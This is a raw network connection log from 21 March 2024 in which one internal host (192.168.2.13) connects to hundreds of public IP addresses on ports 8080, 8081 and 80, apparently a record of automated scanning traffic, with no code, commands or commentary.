Mar 21, 2024 05:21:47.395363092 CET	49712	8080	192.168.2.13	184.201.93.60
Mar 21, 2024 05:21:47.395363092 CET	51248	8081	192.168.2.13	95.220.198.136
Mar 21, 2024 05:21:47.395363092 CET	51248	8081	192.168.2.13	14.83.45.62
Mar 21, 2024 05:21:47.395363092 CET	51248	8081	192.168.2.13	163.198.248.120
Mar 21, 2024 05:21:47.395365000 CET	51248	8081	192.168.2.13	194.0.230.60
Mar 21, 2024 05:21:47.395365000 CET	49712	8080	192.168.2.13	184.192.178.34
Mar 21, 2024 05:21:47.395365000 CET	51248	8081	192.168.2.13	85.170.213.122
Mar 21, 2024 05:21:47.395365000 CET	49712	8080	192.168.2.13	98.181.96.230
Mar 21, 2024 05:21:47.395365000 CET	49712	8080	192.168.2.13	184.119.179.98
Mar 21, 2024 05:21:47.395365000 CET	51248	8081	192.168.2.13	200.151.90.152
Mar 21, 2024 05:21:47.395369053 CET	49712	8080	192.168.2.13	184.218.72.49
Mar 21, 2024 05:21:47.395369053 CET	49712	8080	192.168.2.13	184.223.14.61
Mar 21, 2024 05:21:47.395369053 CET	51248	8081	192.168.2.13	124.173.223.111
Mar 21, 2024 05:21:47.395369053 CET	49712	8080	192.168.2.13	172.205.89.57
Mar 21, 2024 05:21:47.395369053 CET	49712	8080	192.168.2.13	172.45.210.204
Mar 21, 2024 05:21:47.395369053 CET	51248	8081	192.168.2.13	18.206.70.107
Mar 21, 2024 05:21:47.395390034 CET	51248	8081	192.168.2.13	38.170.169.40
Mar 21, 2024 05:21:47.395390034 CET	51248	8081	192.168.2.13	192.17.29.12
Mar 21, 2024 05:21:47.395390034 CET	49712	8080	192.168.2.13	172.69.137.3
Mar 21, 2024 05:21:47.395390034 CET	49712	8080	192.168.2.13	184.9.46.135
Mar 21, 2024 05:21:47.395390034 CET	51248	8081	192.168.2.13	88.113.153.131
Mar 21, 2024 05:21:47.395390034 CET	51248	8081	192.168.2.13	94.181.25.54
Mar 21, 2024 05:21:47.395390034 CET	49712	8080	192.168.2.13	172.61.1.33
Mar 21, 2024 05:21:47.395390034 CET	51248	8081	192.168.2.13	72.207.73.210
Mar 21, 2024 05:21:47.395410061 CET	51248	8081	192.168.2.13	139.181.156.7
Mar 21, 2024 05:21:47.395410061 CET	51248	8081	192.168.2.13	27.18.172.142
Mar 21, 2024 05:21:47.395410061 CET	51248	8081	192.168.2.13	62.139.76.231
Mar 21, 2024 05:21:47.395410061 CET	49712	8080	192.168.2.13	172.213.37.109
Mar 21, 2024 05:21:47.395410061 CET	51248	8081	192.168.2.13	196.253.18.20
Mar 21, 2024 05:21:47.395410061 CET	51248	8081	192.168.2.13	156.176.196.109
Mar 21, 2024 05:21:47.395410061 CET	49712	8080	192.168.2.13	98.244.18.112
Mar 21, 2024 05:21:47.395410061 CET	51248	8081	192.168.2.13	123.10.123.242
Mar 21, 2024 05:21:47.395433903 CET	51248	8081	192.168.2.13	90.77.76.212
Mar 21, 2024 05:21:47.395433903 CET	51248	8081	192.168.2.13	178.177.108.174
Mar 21, 2024 05:21:47.395433903 CET	49712	8080	192.168.2.13	172.174.208.41
Mar 21, 2024 05:21:47.395433903 CET	49712	8080	192.168.2.13	98.171.240.252
Mar 21, 2024 05:21:47.395433903 CET	51248	8081	192.168.2.13	138.227.95.171
Mar 21, 2024 05:21:47.395433903 CET	49712	8080	192.168.2.13	98.103.134.143
Mar 21, 2024 05:21:47.395433903 CET	51248	8081	192.168.2.13	169.15.194.99
Mar 21, 2024 05:21:47.395433903 CET	51248	8081	192.168.2.13	108.196.254.44
Mar 21, 2024 05:21:47.395448923 CET	51248	8081	192.168.2.13	128.230.14.142
Mar 21, 2024 05:21:47.395448923 CET	49712	8080	192.168.2.13	172.66.94.38
Mar 21, 2024 05:21:47.395448923 CET	51248	8081	192.168.2.13	13.83.80.238
Mar 21, 2024 05:21:47.395448923 CET	51248	8081	192.168.2.13	163.59.0.39
Mar 21, 2024 05:21:47.395448923 CET	49712	8080	192.168.2.13	172.39.171.235
Mar 21, 2024 05:21:47.395448923 CET	51248	8081	192.168.2.13	68.178.123.124
Mar 21, 2024 05:21:47.395448923 CET	49712	8080	192.168.2.13	184.128.108.163
Mar 21, 2024 05:21:47.395467997 CET	49712	8080	192.168.2.13	184.199.5.127
Mar 21, 2024 05:21:47.395467997 CET	51248	8081	192.168.2.13	124.188.108.108
Mar 21, 2024 05:21:47.395467997 CET	51248	8081	192.168.2.13	188.226.126.205
Mar 21, 2024 05:21:47.395468950 CET	51248	8081	192.168.2.13	150.140.252.131
Mar 21, 2024 05:21:47.395468950 CET	51248	8081	192.168.2.13	187.32.193.105
Mar 21, 2024 05:21:47.395468950 CET	51248	8081	192.168.2.13	134.5.247.124
Mar 21, 2024 05:21:47.395468950 CET	51248	8081	192.168.2.13	166.97.159.98
Mar 21, 2024 05:21:47.395468950 CET	51248	8081	192.168.2.13	161.70.214.236
Mar 21, 2024 05:21:47.395476103 CET	49712	8080	192.168.2.13	172.40.252.112
Mar 21, 2024 05:21:47.395476103 CET	49712	8080	192.168.2.13	184.18.142.164
Mar 21, 2024 05:21:47.395476103 CET	49712	8080	192.168.2.13	98.126.13.97
Mar 21, 2024 05:21:47.395476103 CET	51248	8081	192.168.2.13	145.158.213.176
Mar 21, 2024 05:21:47.395476103 CET	49712	8080	192.168.2.13	184.119.215.177
Mar 21, 2024 05:21:47.395476103 CET	51248	8081	192.168.2.13	210.48.10.93
Mar 21, 2024 05:21:47.395476103 CET	51248	8081	192.168.2.13	213.36.249.165
Mar 21, 2024 05:21:47.395476103 CET	51248	8081	192.168.2.13	198.58.128.139
Mar 21, 2024 05:21:47.395487070 CET	51248	8081	192.168.2.13	96.102.160.207
Mar 21, 2024 05:21:47.395487070 CET	51248	8081	192.168.2.13	76.252.205.61
Mar 21, 2024 05:21:47.395488024 CET	49712	8080	192.168.2.13	98.79.140.126
Mar 21, 2024 05:21:47.395488024 CET	49712	8080	192.168.2.13	172.85.81.201
Mar 21, 2024 05:21:47.395488024 CET	49712	8080	192.168.2.13	98.155.215.68
Mar 21, 2024 05:21:47.395488024 CET	51248	8081	192.168.2.13	86.9.106.199
Mar 21, 2024 05:21:47.395488024 CET	49712	8080	192.168.2.13	98.99.39.168
Mar 21, 2024 05:21:47.395505905 CET	51248	8081	192.168.2.13	14.236.126.230
Mar 21, 2024 05:21:47.395505905 CET	51248	8081	192.168.2.13	23.188.142.128
Mar 21, 2024 05:21:47.395505905 CET	49712	8080	192.168.2.13	184.29.45.9
Mar 21, 2024 05:21:47.395505905 CET	51248	8081	192.168.2.13	41.248.150.192
Mar 21, 2024 05:21:47.395505905 CET	49712	8080	192.168.2.13	172.88.156.68
Mar 21, 2024 05:21:47.395505905 CET	49712	8080	192.168.2.13	172.62.14.45
Mar 21, 2024 05:21:47.395505905 CET	49712	8080	192.168.2.13	184.50.33.186
Mar 21, 2024 05:21:47.395505905 CET	49712	8080	192.168.2.13	184.111.73.150
Mar 21, 2024 05:21:47.395510912 CET	51248	8081	192.168.2.13	146.37.252.123
Mar 21, 2024 05:21:47.395510912 CET	49712	8080	192.168.2.13	172.210.149.88
Mar 21, 2024 05:21:47.395510912 CET	51248	8081	192.168.2.13	89.20.98.33
Mar 21, 2024 05:21:47.395510912 CET	49712	8080	192.168.2.13	98.58.90.73
Mar 21, 2024 05:21:47.395510912 CET	49712	8080	192.168.2.13	98.62.68.128
Mar 21, 2024 05:21:47.395510912 CET	49712	8080	192.168.2.13	172.49.237.194
Mar 21, 2024 05:21:47.395510912 CET	49712	8080	192.168.2.13	98.184.248.196
Mar 21, 2024 05:21:47.395510912 CET	49712	8080	192.168.2.13	172.74.87.62
Mar 21, 2024 05:21:47.395538092 CET	51248	8081	192.168.2.13	133.152.151.166
Mar 21, 2024 05:21:47.395538092 CET	51248	8081	192.168.2.13	66.136.185.180
Mar 21, 2024 05:21:47.395538092 CET	49712	8080	192.168.2.13	184.65.114.132
Mar 21, 2024 05:21:47.395538092 CET	51248	8081	192.168.2.13	60.148.250.40
Mar 21, 2024 05:21:47.395539045 CET	49712	8080	192.168.2.13	184.208.124.36
Mar 21, 2024 05:21:47.395538092 CET	51248	8081	192.168.2.13	185.93.141.83
Mar 21, 2024 05:21:47.395539045 CET	51248	8081	192.168.2.13	67.156.116.192
Mar 21, 2024 05:21:47.395538092 CET	51248	8081	192.168.2.13	158.227.243.172
Mar 21, 2024 05:21:47.395539045 CET	49712	8080	192.168.2.13	184.247.232.38
Mar 21, 2024 05:21:47.395539045 CET	51248	8081	192.168.2.13	14.56.179.214
Mar 21, 2024 05:21:47.395539045 CET	51248	8081	192.168.2.13	61.117.178.15
Mar 21, 2024 05:21:47.395539045 CET	51248	8081	192.168.2.13	68.185.236.144
Mar 21, 2024 05:21:47.395539045 CET	51248	8081	192.168.2.13	60.238.67.191
Mar 21, 2024 05:21:47.395539045 CET	51248	8081	192.168.2.13	162.222.35.213
Mar 21, 2024 05:21:47.395576000 CET	49712	8080	192.168.2.13	172.81.165.189
Mar 21, 2024 05:21:47.395576000 CET	51248	8081	192.168.2.13	188.14.189.222
Mar 21, 2024 05:21:47.395576000 CET	49712	8080	192.168.2.13	184.85.247.133
Mar 21, 2024 05:21:47.395576000 CET	49712	8080	192.168.2.13	184.51.171.6
Mar 21, 2024 05:21:47.395576000 CET	51248	8081	192.168.2.13	160.42.41.169
Mar 21, 2024 05:21:47.395576000 CET	49712	8080	192.168.2.13	98.166.212.211
Mar 21, 2024 05:21:47.395576000 CET	51248	8081	192.168.2.13	171.209.184.101
Mar 21, 2024 05:21:47.395576000 CET	49712	8080	192.168.2.13	98.213.161.104
Mar 21, 2024 05:21:47.395580053 CET	51248	8081	192.168.2.13	113.12.3.45
Mar 21, 2024 05:21:47.395580053 CET	49712	8080	192.168.2.13	98.252.223.126
Mar 21, 2024 05:21:47.395581007 CET	49712	8080	192.168.2.13	172.234.108.95
Mar 21, 2024 05:21:47.395581007 CET	51248	8081	192.168.2.13	32.156.48.16
Mar 21, 2024 05:21:47.395581007 CET	51248	8081	192.168.2.13	206.137.162.68
Mar 21, 2024 05:21:47.395581007 CET	49712	8080	192.168.2.13	172.196.248.237
Mar 21, 2024 05:21:47.395581007 CET	49712	8080	192.168.2.13	184.133.71.95
Mar 21, 2024 05:21:47.395581007 CET	51248	8081	192.168.2.13	200.255.211.147
Mar 21, 2024 05:21:47.395582914 CET	51248	8081	192.168.2.13	92.155.246.227
Mar 21, 2024 05:21:47.395582914 CET	51248	8081	192.168.2.13	220.82.133.76
Mar 21, 2024 05:21:47.395582914 CET	49712	8080	192.168.2.13	184.255.117.56
Mar 21, 2024 05:21:47.395582914 CET	51248	8081	192.168.2.13	80.195.181.224
Mar 21, 2024 05:21:47.395582914 CET	51248	8081	192.168.2.13	8.54.29.198
Mar 21, 2024 05:21:47.395582914 CET	51248	8081	192.168.2.13	208.146.113.58
Mar 21, 2024 05:21:47.395582914 CET	49712	8080	192.168.2.13	98.220.191.190
Mar 21, 2024 05:21:47.395601034 CET	51248	8081	192.168.2.13	205.195.125.44
Mar 21, 2024 05:21:47.395601034 CET	51248	8081	192.168.2.13	97.59.200.145
Mar 21, 2024 05:21:47.395601034 CET	49712	8080	192.168.2.13	98.127.141.49
Mar 21, 2024 05:21:47.395601034 CET	51248	8081	192.168.2.13	153.187.167.219
Mar 21, 2024 05:21:47.395601988 CET	51248	8081	192.168.2.13	64.240.58.53
Mar 21, 2024 05:21:47.395601988 CET	49712	8080	192.168.2.13	172.131.109.9
Mar 21, 2024 05:21:47.395601988 CET	51248	8081	192.168.2.13	139.163.152.85
Mar 21, 2024 05:21:47.395601988 CET	51248	8081	192.168.2.13	87.251.107.40
Mar 21, 2024 05:21:47.395606041 CET	49712	8080	192.168.2.13	172.124.224.31
Mar 21, 2024 05:21:47.395606041 CET	51248	8081	192.168.2.13	13.48.30.68
Mar 21, 2024 05:21:47.395606041 CET	51248	8081	192.168.2.13	1.225.168.248
Mar 21, 2024 05:21:47.395606041 CET	51248	8081	192.168.2.13	37.36.182.15
Mar 21, 2024 05:21:47.395617008 CET	49712	8080	192.168.2.13	172.73.21.71
Mar 21, 2024 05:21:47.395617008 CET	51248	8081	192.168.2.13	78.216.145.172
Mar 21, 2024 05:21:47.395617962 CET	51248	8081	192.168.2.13	162.86.149.45
Mar 21, 2024 05:21:47.395617962 CET	51248	8081	192.168.2.13	207.203.158.133
Mar 21, 2024 05:21:47.395617962 CET	51248	8081	192.168.2.13	124.167.183.16
Mar 21, 2024 05:21:47.395617962 CET	51248	8081	192.168.2.13	200.90.111.162
Mar 21, 2024 05:21:47.395653963 CET	51248	8081	192.168.2.13	164.123.241.65
Mar 21, 2024 05:21:47.395653963 CET	49712	8080	192.168.2.13	172.231.53.208
Mar 21, 2024 05:21:47.395653963 CET	51248	8081	192.168.2.13	34.250.69.90
Mar 21, 2024 05:21:47.395653963 CET	49712	8080	192.168.2.13	98.126.61.63
Mar 21, 2024 05:21:47.395653963 CET	51248	8081	192.168.2.13	169.204.64.82
Mar 21, 2024 05:21:47.395653963 CET	49712	8080	192.168.2.13	184.99.210.206
Mar 21, 2024 05:21:47.395653963 CET	51248	8081	192.168.2.13	72.139.163.182
Mar 21, 2024 05:21:47.395653963 CET	49712	8080	192.168.2.13	184.181.47.161
Mar 21, 2024 05:21:47.395662069 CET	49712	8080	192.168.2.13	172.186.200.95
Mar 21, 2024 05:21:47.395662069 CET	51248	8081	192.168.2.13	69.37.65.24
Mar 21, 2024 05:21:47.395662069 CET	49712	8080	192.168.2.13	172.172.114.133
Mar 21, 2024 05:21:47.395662069 CET	49712	8080	192.168.2.13	172.81.247.35
Mar 21, 2024 05:21:47.395662069 CET	51248	8081	192.168.2.13	218.196.38.47
Mar 21, 2024 05:21:47.395662069 CET	51248	8081	192.168.2.13	53.21.30.248
Mar 21, 2024 05:21:47.395662069 CET	51248	8081	192.168.2.13	123.166.175.249
Mar 21, 2024 05:21:47.395662069 CET	49712	8080	192.168.2.13	172.157.151.210
Mar 21, 2024 05:21:47.395694971 CET	49712	8080	192.168.2.13	184.34.131.8
Mar 21, 2024 05:21:47.395694971 CET	51248	8081	192.168.2.13	205.124.87.67
Mar 21, 2024 05:21:47.395694971 CET	49712	8080	192.168.2.13	172.181.206.112
Mar 21, 2024 05:21:47.395698071 CET	49712	8080	192.168.2.13	98.126.2.79
Mar 21, 2024 05:21:47.395694971 CET	49712	8080	192.168.2.13	184.139.67.102
Mar 21, 2024 05:21:47.395698071 CET	49712	8080	192.168.2.13	184.180.228.235
Mar 21, 2024 05:21:47.395694971 CET	51248	8081	192.168.2.13	165.66.28.224
Mar 21, 2024 05:21:47.395699978 CET	49712	8080	192.168.2.13	172.128.193.45
Mar 21, 2024 05:21:47.395694971 CET	49712	8080	192.168.2.13	184.62.39.34
Mar 21, 2024 05:21:47.395694971 CET	49712	8080	192.168.2.13	98.166.132.74
Mar 21, 2024 05:21:47.395699978 CET	49712	8080	192.168.2.13	184.76.51.54
Mar 21, 2024 05:21:47.395694971 CET	49712	8080	192.168.2.13	98.162.196.219
Mar 21, 2024 05:21:47.395699978 CET	51248	8081	192.168.2.13	156.20.22.1
Mar 21, 2024 05:21:47.395699978 CET	49712	8080	192.168.2.13	172.1.9.229
Mar 21, 2024 05:21:47.395699978 CET	49712	8080	192.168.2.13	98.50.246.203
Mar 21, 2024 05:21:47.395699978 CET	49712	8080	192.168.2.13	172.149.141.193
Mar 21, 2024 05:21:47.395711899 CET	49712	8080	192.168.2.13	98.77.54.244
Mar 21, 2024 05:21:47.395723104 CET	49712	8080	192.168.2.13	172.228.31.54
Mar 21, 2024 05:21:47.395736933 CET	49712	8080	192.168.2.13	184.119.215.197
Mar 21, 2024 05:21:47.395745039 CET	49712	8080	192.168.2.13	184.184.178.207
Mar 21, 2024 05:21:47.395745039 CET	51248	8081	192.168.2.13	17.224.147.242
Mar 21, 2024 05:21:47.395745039 CET	49712	8080	192.168.2.13	98.226.238.51
Mar 21, 2024 05:21:47.395745039 CET	51248	8081	192.168.2.13	54.170.87.31
Mar 21, 2024 05:21:47.395745993 CET	49712	8080	192.168.2.13	184.37.152.205
Mar 21, 2024 05:21:47.395745993 CET	51248	8081	192.168.2.13	179.9.188.219
Mar 21, 2024 05:21:47.395745993 CET	51248	8081	192.168.2.13	66.57.56.14
Mar 21, 2024 05:21:47.395745993 CET	51248	8081	192.168.2.13	78.60.149.99
Mar 21, 2024 05:21:47.395764112 CET	49712	8080	192.168.2.13	98.236.140.87
Mar 21, 2024 05:21:47.395765066 CET	49712	8080	192.168.2.13	172.119.253.178
Mar 21, 2024 05:21:47.395765066 CET	49712	8080	192.168.2.13	172.69.162.110
Mar 21, 2024 05:21:47.395765066 CET	49712	8080	192.168.2.13	172.245.170.203
Mar 21, 2024 05:21:47.395765066 CET	49712	8080	192.168.2.13	184.146.157.187
Mar 21, 2024 05:21:47.395766973 CET	49712	8080	192.168.2.13	172.159.161.15
Mar 21, 2024 05:21:47.395766973 CET	49712	8080	192.168.2.13	172.172.112.109
Mar 21, 2024 05:21:47.395766973 CET	49712	8080	192.168.2.13	98.97.12.117
Mar 21, 2024 05:21:47.395766973 CET	49712	8080	192.168.2.13	172.91.41.34
Mar 21, 2024 05:21:47.395766973 CET	49712	8080	192.168.2.13	184.185.67.225
Mar 21, 2024 05:21:47.395766973 CET	51248	8081	192.168.2.13	208.127.13.7
Mar 21, 2024 05:21:47.395766973 CET	51248	8081	192.168.2.13	122.7.49.108
Mar 21, 2024 05:21:47.395766973 CET	49712	8080	192.168.2.13	184.68.63.214
Mar 21, 2024 05:21:47.395766973 CET	49712	8080	192.168.2.13	98.139.189.155
Mar 21, 2024 05:21:47.395778894 CET	49712	8080	192.168.2.13	184.152.11.250
Mar 21, 2024 05:21:47.395792007 CET	49712	8080	192.168.2.13	98.213.154.81
Mar 21, 2024 05:21:47.395802975 CET	49712	8080	192.168.2.13	172.235.174.147
Mar 21, 2024 05:21:47.395802975 CET	49712	8080	192.168.2.13	172.209.245.118
Mar 21, 2024 05:21:47.395802975 CET	49712	8080	192.168.2.13	98.183.203.20
Mar 21, 2024 05:21:47.395802975 CET	49712	8080	192.168.2.13	172.121.50.190
Mar 21, 2024 05:21:47.395802975 CET	49712	8080	192.168.2.13	184.238.39.70
Mar 21, 2024 05:21:47.395803928 CET	49712	8080	192.168.2.13	98.199.44.235
Mar 21, 2024 05:21:47.395803928 CET	49712	8080	192.168.2.13	172.176.61.25
Mar 21, 2024 05:21:47.395803928 CET	49712	8080	192.168.2.13	172.229.226.155
Mar 21, 2024 05:21:47.395807028 CET	49712	8080	192.168.2.13	184.49.144.80
Mar 21, 2024 05:21:47.395823002 CET	49712	8080	192.168.2.13	172.78.144.20
Mar 21, 2024 05:21:47.395829916 CET	51248	8081	192.168.2.13	68.83.25.106
Mar 21, 2024 05:21:47.395829916 CET	49712	8080	192.168.2.13	184.145.106.64
Mar 21, 2024 05:21:47.395829916 CET	51248	8081	192.168.2.13	44.164.143.38
Mar 21, 2024 05:21:47.395829916 CET	49712	8080	192.168.2.13	172.214.111.28
Mar 21, 2024 05:21:47.395829916 CET	49712	8080	192.168.2.13	172.208.124.187
Mar 21, 2024 05:21:47.395829916 CET	49712	8080	192.168.2.13	98.219.69.25
Mar 21, 2024 05:21:47.395829916 CET	49712	8080	192.168.2.13	172.165.252.170
Mar 21, 2024 05:21:47.395829916 CET	49712	8080	192.168.2.13	98.241.221.1
Mar 21, 2024 05:21:47.395843029 CET	49712	8080	192.168.2.13	184.88.90.135
Mar 21, 2024 05:21:47.395849943 CET	49712	8080	192.168.2.13	184.228.110.136
Mar 21, 2024 05:21:47.395849943 CET	49712	8080	192.168.2.13	98.156.173.149
Mar 21, 2024 05:21:47.395852089 CET	49712	8080	192.168.2.13	98.210.120.75
Mar 21, 2024 05:21:47.395853043 CET	49712	8080	192.168.2.13	172.113.51.32
Mar 21, 2024 05:21:47.395854950 CET	49712	8080	192.168.2.13	172.123.20.149
Mar 21, 2024 05:21:47.395854950 CET	49712	8080	192.168.2.13	172.238.20.39
Mar 21, 2024 05:21:47.395868063 CET	49712	8080	192.168.2.13	172.120.170.96
Mar 21, 2024 05:21:47.395873070 CET	49712	8080	192.168.2.13	172.35.127.219
Mar 21, 2024 05:21:47.395886898 CET	49712	8080	192.168.2.13	98.236.211.209
Mar 21, 2024 05:21:47.395899057 CET	49712	8080	192.168.2.13	172.163.136.216
Mar 21, 2024 05:21:47.395914078 CET	49712	8080	192.168.2.13	172.41.65.211
Mar 21, 2024 05:21:47.395919085 CET	49712	8080	192.168.2.13	172.104.120.220
Mar 21, 2024 05:21:47.395931959 CET	49712	8080	192.168.2.13	184.240.218.255
Mar 21, 2024 05:21:47.395931005 CET	49712	8080	192.168.2.13	172.103.106.41
Mar 21, 2024 05:21:47.395931959 CET	49712	8080	192.168.2.13	184.206.132.65
Mar 21, 2024 05:21:47.395931005 CET	49712	8080	192.168.2.13	172.50.255.86
Mar 21, 2024 05:21:47.395951986 CET	49712	8080	192.168.2.13	184.4.180.221
Mar 21, 2024 05:21:47.395956993 CET	49712	8080	192.168.2.13	184.110.224.233
Mar 21, 2024 05:21:47.395962000 CET	49712	8080	192.168.2.13	98.138.51.161
Mar 21, 2024 05:21:47.395963907 CET	49712	8080	192.168.2.13	172.249.33.18
Mar 21, 2024 05:21:47.395968914 CET	49712	8080	192.168.2.13	98.151.62.9
Mar 21, 2024 05:21:47.395975113 CET	49712	8080	192.168.2.13	172.232.140.216
Mar 21, 2024 05:21:47.395976067 CET	49712	8080	192.168.2.13	98.183.34.131
Mar 21, 2024 05:21:47.395994902 CET	49712	8080	192.168.2.13	172.126.211.170
Mar 21, 2024 05:21:47.395994902 CET	49712	8080	192.168.2.13	98.199.67.34
Mar 21, 2024 05:21:47.396012068 CET	49712	8080	192.168.2.13	184.131.27.26
Mar 21, 2024 05:21:47.396018028 CET	49712	8080	192.168.2.13	172.116.34.40
Mar 21, 2024 05:21:47.396018028 CET	49712	8080	192.168.2.13	184.179.24.107
Mar 21, 2024 05:21:47.396027088 CET	49712	8080	192.168.2.13	98.234.236.103
Mar 21, 2024 05:21:47.396039009 CET	49712	8080	192.168.2.13	172.208.42.134
Mar 21, 2024 05:21:47.396039009 CET	49712	8080	192.168.2.13	184.128.200.103
Mar 21, 2024 05:21:47.396039009 CET	49712	8080	192.168.2.13	172.162.204.174
Mar 21, 2024 05:21:47.396066904 CET	49712	8080	192.168.2.13	98.243.130.161
Mar 21, 2024 05:21:47.396066904 CET	49712	8080	192.168.2.13	98.36.50.169
Mar 21, 2024 05:21:47.396069050 CET	49712	8080	192.168.2.13	184.18.16.119
Mar 21, 2024 05:21:47.396075964 CET	49712	8080	192.168.2.13	184.67.241.89
Mar 21, 2024 05:21:47.396083117 CET	49712	8080	192.168.2.13	184.143.198.3
Mar 21, 2024 05:21:47.396083117 CET	49712	8080	192.168.2.13	184.161.85.107
Mar 21, 2024 05:21:47.396089077 CET	49712	8080	192.168.2.13	98.199.190.179
Mar 21, 2024 05:21:47.396089077 CET	49712	8080	192.168.2.13	172.234.232.157
Mar 21, 2024 05:21:47.396092892 CET	49712	8080	192.168.2.13	172.78.73.3
Mar 21, 2024 05:21:47.396110058 CET	49712	8080	192.168.2.13	184.180.73.101
Mar 21, 2024 05:21:47.396112919 CET	49712	8080	192.168.2.13	98.151.212.67
Mar 21, 2024 05:21:47.396119118 CET	49712	8080	192.168.2.13	98.155.125.219
Mar 21, 2024 05:21:47.396123886 CET	49712	8080	192.168.2.13	98.108.28.172
Mar 21, 2024 05:21:47.396126986 CET	49712	8080	192.168.2.13	172.80.115.155
Mar 21, 2024 05:21:47.396131992 CET	49712	8080	192.168.2.13	172.227.163.215
Mar 21, 2024 05:21:47.396152973 CET	49712	8080	192.168.2.13	172.107.41.241
Mar 21, 2024 05:21:47.396156073 CET	49712	8080	192.168.2.13	98.154.204.114
Mar 21, 2024 05:21:47.396157026 CET	49712	8080	192.168.2.13	184.219.130.110
Mar 21, 2024 05:21:47.396157026 CET	49712	8080	192.168.2.13	184.95.157.55
Mar 21, 2024 05:21:47.396159887 CET	49712	8080	192.168.2.13	172.51.3.97
Mar 21, 2024 05:21:47.396166086 CET	49712	8080	192.168.2.13	172.69.254.212
Mar 21, 2024 05:21:47.396166086 CET	49712	8080	192.168.2.13	184.31.86.166
Mar 21, 2024 05:21:47.396173000 CET	49712	8080	192.168.2.13	184.40.128.143
Mar 21, 2024 05:21:47.396186113 CET	49712	8080	192.168.2.13	184.56.120.30
Mar 21, 2024 05:21:47.396192074 CET	49712	8080	192.168.2.13	184.220.2.233
Mar 21, 2024 05:21:47.396214962 CET	49712	8080	192.168.2.13	172.54.167.87
Mar 21, 2024 05:21:47.396225929 CET	49712	8080	192.168.2.13	184.79.125.110
Mar 21, 2024 05:21:47.396225929 CET	49712	8080	192.168.2.13	98.240.250.42
Mar 21, 2024 05:21:47.396225929 CET	49712	8080	192.168.2.13	172.68.173.195
Mar 21, 2024 05:21:47.396250010 CET	49712	8080	192.168.2.13	98.125.126.123
Mar 21, 2024 05:21:47.396487951 CET	50992	80	192.168.2.13	8.83.87.105
Mar 21, 2024 05:21:47.396487951 CET	50992	80	192.168.2.13	10.13.239.105
Mar 21, 2024 05:21:47.396502018 CET	50992	80	192.168.2.13	28.239.241.107
Mar 21, 2024 05:21:47.396506071 CET	50992	80	192.168.2.13	148.155.2.119
Mar 21, 2024 05:21:47.396508932 CET	50992	80	192.168.2.13	74.62.115.66
Mar 21, 2024 05:21:47.396528959 CET	50992	80	192.168.2.13	182.250.246.229
Mar 21, 2024 05:21:47.396537066 CET	50992	80	192.168.2.13	111.209.31.225
Mar 21, 2024 05:21:47.396544933 CET	50992	80	192.168.2.13	17.25.133.109
Mar 21, 2024 05:21:47.396553040 CET	50992	80	192.168.2.13	163.76.134.237
Mar 21, 2024 05:21:47.396555901 CET	50992	80	192.168.2.13	30.46.210.52
Mar 21, 2024 05:21:47.396559000 CET	50992	80	192.168.2.13	65.48.149.55
Mar 21, 2024 05:21:47.396560907 CET	50992	80	192.168.2.13	221.50.157.113
Mar 21, 2024 05:21:47.396574020 CET	50992	80	192.168.2.13	30.247.204.75
Mar 21, 2024 05:21:47.396585941 CET	52016	80	192.168.2.13	104.51.87.105
Mar 21, 2024 05:21:47.396596909 CET	50992	80	192.168.2.13	116.60.103.213
Mar 21, 2024 05:21:47.396598101 CET	50992	80	192.168.2.13	109.185.151.2
Mar 21, 2024 05:21:47.396600008 CET	50992	80	192.168.2.13	131.226.199.4
Mar 21, 2024 05:21:47.396605015 CET	50992	80	192.168.2.13	41.112.198.235
Mar 21, 2024 05:21:47.396605015 CET	50992	80	192.168.2.13	217.200.45.71
Mar 21, 2024 05:21:47.396610022 CET	50992	80	192.168.2.13	218.90.84.228
Mar 21, 2024 05:21:47.396610022 CET	52016	80	192.168.2.13	118.36.237.184
Mar 21, 2024 05:21:47.396626949 CET	50992	80	192.168.2.13	110.206.137.189
Mar 21, 2024 05:21:47.396626949 CET	52016	80	192.168.2.13	114.162.157.174
Mar 21, 2024 05:21:47.396626949 CET	52016	80	192.168.2.13	37.94.112.65
Mar 21, 2024 05:21:47.396627903 CET	50992	80	192.168.2.13	105.161.241.158
Mar 21, 2024 05:21:47.396631956 CET	52016	80	192.168.2.13	123.79.67.232
Mar 21, 2024 05:21:47.396636009 CET	52016	80	192.168.2.13	126.54.140.102
Mar 21, 2024 05:21:47.396636009 CET	52016	80	192.168.2.13	162.250.237.254
Mar 21, 2024 05:21:47.396636009 CET	52016	80	192.168.2.13	43.86.160.25
Mar 21, 2024 05:21:47.396636963 CET	52016	80	192.168.2.13	216.114.2.60
Mar 21, 2024 05:21:47.396636963 CET	50992	80	192.168.2.13	107.101.24.135
Mar 21, 2024 05:21:47.396641016 CET	52016	80	192.168.2.13	183.232.10.55
Mar 21, 2024 05:21:47.396641016 CET	52016	80	192.168.2.13	109.230.12.172
Mar 21, 2024 05:21:47.396641016 CET	52016	80	192.168.2.13	98.201.237.29
Mar 21, 2024 05:21:47.396645069 CET	52016	80	192.168.2.13	91.17.198.239
Mar 21, 2024 05:21:47.396647930 CET	50992	80	192.168.2.13	47.213.3.225
Mar 21, 2024 05:21:47.396648884 CET	52016	80	192.168.2.13	199.163.160.115
Mar 21, 2024 05:21:47.396652937 CET	52016	80	192.168.2.13	161.65.131.100
Mar 21, 2024 05:21:47.396652937 CET	52016	80	192.168.2.13	121.43.83.188
Mar 21, 2024 05:21:47.396656036 CET	52016	80	192.168.2.13	175.239.235.143
Mar 21, 2024 05:21:47.396656036 CET	52016	80	192.168.2.13	116.181.20.147
Mar 21, 2024 05:21:47.396661997 CET	52016	80	192.168.2.13	139.37.88.53
Mar 21, 2024 05:21:47.396667004 CET	52016	80	192.168.2.13	186.157.153.103
Mar 21, 2024 05:21:47.396667004 CET	52016	80	192.168.2.13	179.188.176.142
Mar 21, 2024 05:21:47.396667004 CET	50992	80	192.168.2.13	57.198.185.186
Mar 21, 2024 05:21:47.396667957 CET	52016	80	192.168.2.13	216.77.130.40
Mar 21, 2024 05:21:47.396667957 CET	52016	80	192.168.2.13	74.203.213.203
Mar 21, 2024 05:21:47.396667957 CET	52016	80	192.168.2.13	25.122.8.83
Mar 21, 2024 05:21:47.396672010 CET	52016	80	192.168.2.13	197.165.58.102
Mar 21, 2024 05:21:47.396676064 CET	50992	80	192.168.2.13	188.61.61.3
Mar 21, 2024 05:21:47.396677971 CET	52016	80	192.168.2.13	112.239.176.139
Mar 21, 2024 05:21:47.396687984 CET	50992	80	192.168.2.13	69.190.58.255
Mar 21, 2024 05:21:47.396692038 CET	52016	80	192.168.2.13	174.50.214.246
